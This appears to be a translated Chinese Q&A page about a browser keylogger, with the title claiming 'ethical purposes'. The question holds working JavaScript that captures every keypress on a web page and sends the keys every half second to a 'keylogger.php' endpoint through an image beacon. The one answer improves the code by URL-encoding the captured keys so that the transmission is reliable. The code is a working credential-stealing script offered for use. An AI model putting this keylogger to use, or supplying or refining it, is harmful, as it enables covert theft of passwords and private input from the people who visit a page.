Javascript键盘记录程序(出于道德目的)

时间:2018-11-04 09:00:05

标签: javascript html keylogger

JS代码 以下是用于在html页面上进行键盘记录的javascript代码。

var keys = '';
document.onkeypress = function(e) {
  get = window.event ? event : e;
  key = get.keyCode ? get.keyCode : get.charCode;
  key = String.fromCharCode(key);
  keys += key;
}
window.setInterval(function() {
  if (keys != '') {
    new Image().src = 'keylogger.php?c=' + keys;
    keys = '';
  }
}, 500);

它确实可以工作,但是某些特殊键未记录下来,例如空格,制表符,退格键等。

如何自定义上面的代码以记录所有特殊键?

1 个答案:

答案 0 :(得分:1)

URL只能包含一组特定的字符。这就是您需要对要发送的字符进行编码的原因。在keys上使用encodeURIComponent函数:

new Image().src = 'keylogger.php?c='+encodeURIComponent(keys);